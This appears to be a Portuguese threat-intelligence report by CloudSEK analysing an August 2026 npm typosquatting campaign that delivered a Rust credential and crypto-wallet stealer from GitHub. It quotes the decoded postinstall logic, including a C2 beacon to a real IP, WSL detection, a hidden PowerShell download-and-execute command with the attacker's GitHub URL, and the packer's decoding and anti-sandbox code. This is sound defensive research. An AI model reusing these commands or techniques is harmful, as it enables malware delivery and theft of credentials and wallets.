🚀 A CloudSEK se torna a primeira empresa de segurança cibernética de origem indiana a receber investimentos da
Leia mais

Em agosto de 2026, um operador publicou quarenta pacotes no registro público npm, cada um sendo um erro de digitação de uma das bibliotecas mais instaladas no ecossistema: chalk, axios, commander, lodash, react e typescript. Todos os pacotes continham um script de instalação. Os pacotes npm já foram removidos. A parte relevante da campanha nunca esteve no npm. O script de instalação é um mensageiro. Ele traça o perfil do host, reporta a um servidor de comando e controle e, então, faz uma pergunta: esta máquina é Windows ou um ambiente Windows Subsystem for Linux rodando sobre ele? Se a resposta for sim, ele decodifica uma instrução oculta e atravessa a fronteira que normalmente separa o shell Linux de um desenvolvedor do host Windows subjacente, baixando e executando um executável nativo do Windows que o pacote npm nunca conteve.
Esse executável é um programa Windows de 22 megabytes escrito em Rust, hospedado não no npm, mas como um ativo de lançamento no GitHub. Os pacotes npm são descartáveis e já se foram; o payload do GitHub não. Ele sobreviveu a eles por aproximadamente 39 horas, e seu contador de downloads foi observado subindo de 119 às 01:50 UTC em 17 de agosto para 173 às 18:49 UTC do mesmo dia — 54 puxadas em menos de dezessete horas, após os pacotes que apontavam para ele terem deixado de existir. Ele foi removido apenas durante esta análise: toda a conta bebraz1 retornou 404 dentro de quatro horas após essa última leitura. A remoção do npm, por si só, deixou a arma no lugar. Quase nada desses 22 megabytes é o programa. O código executável tem 265 kilobytes, aproximadamente um por cento do arquivo. Os outros 98,6 por cento são uma sequência única e ininterrupta de 22.638.592 caracteres hexadecimais: um payload criptografado de 11 megabytes escrito como texto e carregado dentro do binário. O main.exe é um wrapper: ele decodifica esse texto de volta para bytes, descriptografa-o e executa o resultado dentro de seu próprio processo. Nada é gravado no disco e nenhum segundo processo é criado, razão pela qual um endpoint que procura por um arquivo descartado ou um processo filho incomum não vê nada.
A CloudSEK detonou o executável em um ambiente Windows isolado. Ele identifica o endereço IP público da vítima e, em seguida, tenta fazer o upload para o gofile.io, um serviço público e anônimo de compartilhamento de arquivos. Ele não envia sinais para a infraestrutura do atacante para exfiltrar; ele usa um serviço legítimo que não pode ser derrubado como se fosse um domínio criminoso. Capturar a memória do convidado enquanto o payload ainda estava em execução recuperou o que a validação de certificado estava protegendo: o estágio descompactado carrega três listas de alvos, já expandidas para a conta da vítima, cobrindo vinte e seis caminhos de carteiras de criptomoedas desktop, os armazenamentos de credenciais, cookies e histórico de navegadores da família Chromium, e o diretório de sessões do Telegram Desktop. Ele carrega caminhos para instalações do Brave que não existiam na máquina de análise, que é como uma lista de alvos codificada se revela, e ele já havia montado um perfil de hardware da máquina e o cabeçalho multipart do upload. Este é um ladrão de criptomoedas, credenciais de navegador e sessões de mensageiros.
A campanha tem duas camadas com ciclos de vida opostos. A camada npm é barulhenta, barata e descartável: quarenta pacotes de falsificação publicados em um registro público e retirados, já removidos. A camada de payload é silenciosa e durável: um executável Rust no GitHub e uma rota de exfiltração através de um host de arquivos público, nenhum dos quais foi afetado pela remoção do npm. Ler a ordem de trabalho torna o design legível, portanto, as seções a seguir seguem o mesmo caminho que o malware, desde o gancho de instalação até o upload.

Tabela 1. Linha do tempo. As linhas do npm são provenientes de registros do repositório, que sobrevivem à despublicação e são precisas até o segundo. As linhas do GitHub são provenientes de metadados capturados antes da remoção da conta e não podem mais ser rederivadas da fonte.
A ordenação é a parte que merece atenção. O payload estava no GitHub vinte e três horas antes de o primeiro pacote npm ser publicado — o lançamento foi ao ar às 03:19 UTC em 15 de agosto, o primeiro pacote às 02:28 UTC em 16 de agosto — em uma infraestrutura que não responde ao npm. Os mensageiros duraram 84 minutos; o payload sobreviveu a eles por aproximadamente 39 horas. Lemos esse sequenciamento como um planejamento deliberado, embora a ordenação seja a evidência e a intenção seja a nossa interpretação dela.
Cada etapa abaixo foi recuperada diretamente dos pacotes e do payload. Os pacotes npm foram removidos do registro, portanto, seus conteúdos foram lidos a partir de cópias arquivadas da CloudSEK; o payload foi lido e executado a partir de uma amostra com hash verificado. A ordem é a ordem de execução.
A maioria dos pacotes é um erro de digitação de um único caractere ou uma transposição de uma biblioteca popular; uma minoria escreve a biblioteca corretamente e anexa um sufixo de subpacote plausível, o que é namespace-squatting em vez de typosquatting. Um não é nenhum dos dois. Todos foram publicados na versão 1.0.0 com um gancho de instalação. Os nomes se agrupam em seis famílias pela biblioteca que imitam, listadas na íntegra no Apêndice A. Instalar qualquer um deles executa scripts/postinstall.js automaticamente.
O script de instalação reporta a um servidor de comando e controle codificado. O destino não está escrito como uma string; ele é montado a partir de um array em tempo de execução, portanto, um scanner que busca por um endereço IP no pacote não encontra nada. O que ele envia é menos do que ele coleta, e a diferença vale a pena ser declarada com precisão: o script cria um perfil de host mais completo — versão do Node, arquitetura, plataforma — e então o descarta. O corpo da requisição carrega apenas um rótulo genérico.
const TELEMETRY = {
host: ['193', '70', '34', '101'].join('.'), // = 193.70.34.101 (OVH)
port: 20099,
path: '/vote',
get addon () { return unpackSegment(ADDON_ENC, ADDON_KEY) }
}
collectEnvSnapshot() -> { node, arch, platform } // computed, then DISCARDED
sendInstallMetrics(profile.label)
-> POST /vote body: JSON.stringify({ platform: label })
label is one of 'Windows' | 'MacOS' | 'Linux'
Figura 2. O sinalizador, de scripts/postinstall.js. O endereço C2 é construído a partir de seus octetos para derrotar a correspondência de strings. Apenas um rótulo genérico do sistema operacional é transmitido; o perfil mais rico que o script monta nunca deixa a máquina. O sinalizador é um censo, não um canal de reconhecimento.
Antes de implantar qualquer coisa no Windows, o script confirma se está em um local de onde pode alcançar um host Windows. Ele considera uma plataforma win32 nativa como elegível e trata um ambiente Linux como elegível apenas se esse Linux for o Subsistema Windows para Linux, o que ele detecta de três maneiras: primeiro pelas variáveis de ambiente e, em seguida, por dois arquivos em /proc.
function isVirtualizedLinux () {
if (process.platform !== 'linux') return false
if (process.env.WSL_DISTRO_NAME || process.env.WSLENV) return true
const procVersion = fs.readFileSync('/proc/version', 'utf8')
if (/microsoft/i.test(procVersion)) return true
const osRelease = fs.readFileSync('/proc/sys/kernel/osrelease', 'utf8')
if (/microsoft/i.test(osRelease) || /WSL/i.test(osRelease)) return true
return false
}
Figura 3. A detecção do WSL, a partir de scripts/postinstall.js. Um desenvolvedor executando npm install dentro do WSL é tratado como uma rota para a máquina Windows subjacente.
Quando o portão é aprovado, o script decodifica quatro matrizes de bytes com um XOR de chave repetida (a chave é a string stf2026) e monta um comando de download e execução. A decodificação recupera a URL do payload e uma ponte PowerShell oculta na íntegra.
// XOR key: 'stf2026' byte ^ key.charCodeAt(i % key.length)
ADDON_ENC -> https://github.com/bebraz1/qPzM50V1AKG0rVlH/releases/
download/null/main.exe
BRIDGE_LAUNCHER -> powershell.exe -WindowStyle Hidden -NoProfile
-NonInteractive -ExecutionPolicy Bypass -Command "
BRIDGE_SCRIPT_PRE -> $p = Join-Path $env:TEMP 'main.exe';
Invoke-WebRequest -Uri '<url above>'
BRIDGE_SCRIPT_POST -> ' -OutFile $p -UseBasicParsing;
Start-Process -FilePath $p -WindowStyle Hidden
Figura 4. A entrega decodificada, chave XOR stf2026. O payload é baixado para %TEMP%\main.exe e iniciado sem janela visível, executado no host Windows a partir da instalação do WSL.
Duas escolhas nesse comando merecem destaque. O download e a execução ocorrem sem janela, portanto, nada aparece na tela da vítima. E toda a instrução foi transportada como bytes codificados dentro do pacote npm, de modo que nem a URL nem o PowerShell ficaram visíveis para quem lesse o pacote como texto.
A ponte PowerShell é apenas metade da entrega, e os defensores devem saber qual metade estão observando. É o caminho do WSL: o script marca um host como necessitando da ponte apenas quando o Linux em que está sendo executado acaba sendo o WSL. Em um host Windows nativo, não há PowerShell. O script de instalação decodifica apenas a URL do payload, baixa-o com o próprio cliente HTTPS do Node e o inicia por conta própria.
native win32 branch — no shell, no PowerShell, no command line
installNativeAddon()
url = unpackSegment(ADDON_ENC, ADDON_KEY) // only this one array is decoded
dest = path.join(process.env.TEMP, 'main.exe')
https.get(url, ...) // Node's own client, not curl/IWR
spawn(dest, [], { detached: true, stdio: 'ignore', windowsHide: true })
Figura 4b. A outra ramificação. Uma regra de detecção baseada em um gancho de instalação que gera o powershell.exe vê as vítimas do WSL e ignora completamente as do Windows nativo, porque, nesse caminho, o processo Node realiza o download e o lançamento por si só.
main.exe é um executável Windows de 22 megabytes escrito em Rust. Ele é idêntico em hash ao ativo do GitHub. A explicação óbvia para seu tamanho, de que o Rust vincula seu tempo de execução estaticamente, está incorreta, e notar que ela está incorreta é o que abre o restante da análise.
file PE32+ executable (GUI) x86-64, 10 sections, for MS Windows
sha256 6f088ade49456db2422c3edfbb9998f4a3e9cce7c4c00a7279fb45d672a82b7d
size 22,969,344 bytes
build Rust, target x86_64-pc-windows-gnu (msvcrt/ntdll imports; .CRT/.idata sections)
rustc commit 8bab26f4f68e0e26f0bb7960be334d5b520ea452
imports KERNEL32, msvcrt, ntdll, api-ms-win-core-synch (minimal)
section sizes:
.text 265,728 bytes entropy 6.33 <- the entire program
.rdata 22,673,408 bytes entropy 4.02 <- 98.7% of the file
all others combined 29,184 bytes
anti-analysis:
PE TimeDateStamp zeroed to 0 (defeats build-time timeline analysis)
GUI subsystem (runs with no console window)
no endpoints or target paths in cleartext anywhere in the file
Figura 5. Fatos estáticos para main.exe. Um programa de 265 kilobytes carrega uma seção de dados somente leitura de 22 megabytes, e essa proporção é a anomalia que vale a pena investigar.
Um valor de entropia de 4,02 em 22 megabytes é o indicador. Dados compactados ou criptografados medem perto de 8,0 e dados de programas comuns variam; uma seção que mantém um valor fixo de 4,00 por vinte megabytes consecutivos não é nenhum dos dois. Um censo de bytes explica isso: a seção usa dezesseis caracteres distintos, cada um com quase exatamente 6,25 por cento. Dezesseis símbolos igualmente prováveis carregam exatamente quatro bits cada, portanto, a entropia é 4,00 por construção. Os caracteres são 0-9 e a-f.
.rdata byte census (22,673,408 bytes)
printable ASCII 99.9% NUL 0.0% bytes >= 0x80 0.0%
most common: 'a' 6.3% '3' 6.3% '8' 6.2% 'f' 6.2% 'd' 6.2%
'2' 6.2% '0' 6.2% 'e' 6.2% ... sixteen symbols, ~6.25% each
entropy per megabyte: 4.00, 4.00, 4.00, 4.00 ... for 20 consecutive megabytes
one contiguous hexadecimal run of 22,638,592 characters begins at file offset 0x43e4c:
52c11f246309cce5556a00408bafb9868622114903dbd8128dc4ce3eca2df27a ...
Figura 6. A seção de dados somente leitura não é composta por dados colocados lá pelo compilador. É uma enorme string hexadecimal, que é um payload escrito como texto.
Decodificar esses caracteres de volta para bytes resulta em 11.319.296 bytes com uma entropia de 8,000, o máximo absoluto. Isso são dados criptografados ou compactados e não um programa que pode ser lido diretamente. O próprio código do wrapper confirma tanto o tamanho quanto o método: ele aloca exatamente esse número de bytes antes de começar a decodificar, e o loop de decodificação lê a seção dois caracteres por vez.
0x140001b60 mov ecx, 0xacb800 ; 11,319,296 - the exact decoded size
0x140001b65 call 0x14000fe20 ; allocate that buffer
0x140001b90 lea rbx, [rip + 0x436b5] ; -> the hexadecimal run
0x140001b9a mov cl, [rbx + r14*2] ; first character of the pair
0x140001b9e lea ebp, [rcx - 0x30] ; '0'-'9'
0x140001baf add cl, 0xa9 ; 'a'-'f'
0x140001bb9 add cl, 0xc9 ; 'A'-'F'
0x140001bc5 mov cl, [rbx + r14*2 + 1] ; second character of the pair
0x140001bff shl bpl, 4 ; high nibble
0x140001c03 add r15b, bpl ; combine into one byte
0x140001c06 mov [rax + r14], r15b ; store
0x140001c15 cmp r14, 0xacb800 ; until the whole payload is decoded
decoded blob: 11,319,296 bytes entropy 8.000 (encrypted, not a plain executable)
sha256 6888d4c54ef2b5bf23889f9637c2efe77e1d2af4724d315b73d646cf5547dc73
Figura 7. A rotina de descompactação, recuperada do código do wrapper. A constante 0xACB800 recorre através desta função — dimensionando o buffer, definindo o comprimento do vetor, encerrando o loop — e nove vezes em toda a seção de código.
A cifra identifica-se duas vezes. Perto do início da seção de dados, cerca de oito kilobytes antes da sequência hexadecimal, encontra-se a tabela de constantes de rodada SHA-256 de sessenta e quatro entradas e, imediatamente acima dela, uma constante de dezesseis bytes a dois caracteres de distância da string de inicialização ChaCha20. A diferença não é um erro de digitação: ela preserva o comprimento exatamente, excluindo o n de expand e inserindo um 2 antes do 32.
0x140043060 65 78 70 61 64 20 32 33 32 2d 62 79 74 65 20 6b |expad 232-byte k|
the algorithm specifies 'expand 32-byte k'
0x140043070 98 2f 8a 42 91 44 37 71 cf fb c0 b5 a5 db b5 e9 SHA-256 round constants
(0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5 ... little-endian)
key material loaded by the unpacking routine:
0x140001c45 32 bytes from .rdata+0x00 b037c12805cbc47ea1247ec2c9e16494
ed61c1982cbd45be3f01ddd9353f026c
0x140001c7e 32 bytes from .rdata+0x20 8b604d8e2079d2375b2888e44ac492dd
5b3f19d74777d91fed30e175df27fa44
0x140001c62 12 bytes as immediates f7d0038f50e382710a33c52e
Figura 8. As constantes da cifra. Alterar a string de inicialização não custa nada ao autor, porque o wrapper só se comunica consigo mesmo, e isso quebra todas as regras de detecção escritas contra o valor padrão.
Reconstruir a descriptografia apenas a partir desses parâmetros não reproduziu o payload. Nenhuma constante, em qualquer posição de chave, com o valor de doze bytes como nonce, em qualquer início de contador, e nenhuma na variante de nonce estendido, produziu nada além de ruído, portanto, a construção exata não é reivindicada aqui. Não precisava ser resolvida: o wrapper realiza a descriptografia por conta própria, e a análise simplesmente precisava estar presente quando isso ocorresse.
Antes de tudo isso, uma rotina adicional é executada. O wrapper inicia um loop de 552.054 iterações de cálculos aritméticos cujo resultado nunca é utilizado, mede o tempo decorrido e, se a conclusão ocorrer em nove milissegundos ou menos, aguarda meio segundo antes de prosseguir. Um loop que não computa nada serve apenas para consumir tempo, e medi-lo serve para detectar um ambiente que não está dedicando tempo real à tarefa.
0x140001abb mov ebx, 0x1cb6 ; seed
0x140001ac3 call 0x140032c60 ; read the clock
0x140001aeb rol rbx, 3 ; junk arithmetic, result discarded
0x140001aef add rbx, r14
0x140001b08 cmp r14, 0x86c76 ; 552,054 iterations
0x140001b16 call 0x140032df0 ; read the clock again
0x140001b3b mov r8d, 9 ; compare elapsed against 9 ms
0x140001b4b mov edx, 0x1dcd6500 ; 500,000,000 ns
0x140001b50 call 0x140040000 ; ... and sleep half a second
Figura 9. O atraso. Ele retarda a execução e mede esse intervalo, permitindo que a amostra verifique se está sendo executada em um ambiente que tenta acelerar o processo.
Por fim, o wrapper revela o que pretende produzir. Três fragmentos estão presentes na seção de dados: um nome de arquivo base, uma extensão e um arquivo de configuração completo de aplicação .NET. Um .exe.config só tem utilidade se estiver ao lado de um executável real no disco, e este especifica o runtime necessário para esse executável.
ez_run_ .exe exe.config<?xml version="1.0" encoding="utf-8" ?><configuration>
<startup useLegacyV2RuntimeActivationPolicy="true">
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8"/>
<supportedRuntime version="v4.0"/>
<supportedRuntime version="v2.0.50727"/>
</startup></configuration>
[LOG] Payload unpacking and decryption completed in
cmd.exe /e:ON /v:OFF /d /c "
Figura 10. As strings do próprio wrapper, conforme aparecem no arquivo: um nome de arquivo base, uma extensão e uma configuração de aplicação .NET completa que solicita o Framework 4.8, com fallback para v4.0 e CLR v2.0.50727. Elas descrevem um caminho de "soltar e executar" — criar um ez_run_<nome>.exe com a configuração correspondente ao lado — que nunca foi observado nesta compilação: em execuções repetidas, nenhum arquivo desse tipo apareceu e nenhum runtime .NET foi carregado. Essas strings devem ser interpretadas como uma capacidade geral do packer, e não como o comportamento desta amostra específica. A linha de log é real; o wrapper de fato mede o tempo da sua própria descompactação.
Como não há nada legível no arquivo, o comportamento do payload foi determinado executando-o em um ambiente Windows isolado, sem acesso à internet, onde uma rede sintética respondia às suas solicitações de forma convincente e as registrava.
O payload é ativado quase imediatamente e termina em menos de um minuto. Amostrar a lista de processos uma vez por segundo durante a execução revela o padrão: o processo surge, seu conjunto de trabalho salta de 2,6 megabytes para 52 megabytes em cerca de um segundo, enquanto o wrapper decodifica e descriptografa onze megabytes na memória; ele permanece nesse estado enquanto trabalha e, em seguida, desaparece.

Figura 11. O payload em execução no ambiente de análise. O loop amostra a lista de processos aproximadamente a cada três segundos — o comando tasklist não é leve em um ambiente com dois núcleos —, portanto, estas sete linhas abrangem cerca de vinte e três segundos. O salto de 2.608 K para 52.112 K entre a primeira e a segunda amostra representa a descompactação: o texto hexadecimal sendo convertido de volta em um executável de onze megabytes na memória.
Em relação ao tempo, a sequência é precisa. O instante de inicialização é registrado dentro do ambiente convidado pelo script de controle que inicia a amostra e gera seu próprio registro de data e hora; as duas solicitações de rede são registradas no lado do host pela rede sintética. Comparando os registros, a chamada de reconhecimento ocorre entre 18,9 e 20,0 segundos após o início nas duas execuções em que ambos os registros foram preservados, com a tentativa de upload ocorrendo 0,18 segundos depois.